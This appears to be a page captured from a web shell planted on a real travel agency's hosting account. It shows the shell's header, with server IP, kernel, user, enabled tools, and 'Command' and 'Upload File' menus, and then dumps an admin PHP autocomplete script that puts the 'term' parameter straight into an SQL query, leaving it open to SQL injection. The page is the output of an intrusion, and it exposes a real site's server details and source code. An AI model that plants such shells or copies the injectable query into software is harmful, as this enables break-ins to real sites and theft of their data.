Server IP : 103.53.40.154 / Your IP : 3.137.180.62 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/alkareemtravel.com/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php ob_start(); require_once("../includes/dbsmain.inc.php"); if(empty($_SESSION['sess_admin_login_id'])){ header("location:login.php"); exit; } $curr_date=date("Y-m-d"); ?> <?php // Get search term $searchTerm = $_GET['term']; // Fetch matched data from the database $query = db_query("SELECT distinct(category_company_name) FROM tbl_category WHERE category_company_name LIKE '%".$searchTerm."%' AND category_status = 'Active' order by CASE when category_company_name LIKE '$searchTerm%' THEN 1 when category_company_name LIKE '%$searchTerm%' THEN 2 when category_company_name LIKE '%$searchTerm' THEN 3 END"); // Generate array with skills data $skillData = array(); if($query->num_rows > 0){ while($row = $query->fetch_assoc()){ // $data['id'] = $row['category_id']; $data['value'] = $row['category_company_name']; array_push($skillData, $data); } } // Return results as json encoded array echo json_encode($skillData); ?>